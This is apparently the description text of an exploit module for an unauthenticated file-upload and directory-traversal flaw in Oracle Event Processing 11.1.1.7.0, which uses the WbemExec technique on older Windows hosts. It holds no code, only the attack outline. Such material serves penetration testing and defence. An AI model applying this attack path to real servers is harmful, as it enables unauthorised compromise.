        This module exploits an Arbitrary File Upload vulnerability in Oracle Event Processing
        11.1.1.7.0. The FileUploadServlet component, which requires no authentication, can be
        abused to upload a malicious file onto an arbitrary location due to a directory traversal
        flaw, and compromise the server. By default Oracle Event Processing uses a Jetty
        Application Server without JSP support, which limits the attack to WbemExec. The current
        WbemExec technique only requires arbitrary write to the file system, but at the moment the
        module only supports Windows 2003 SP2 or older.
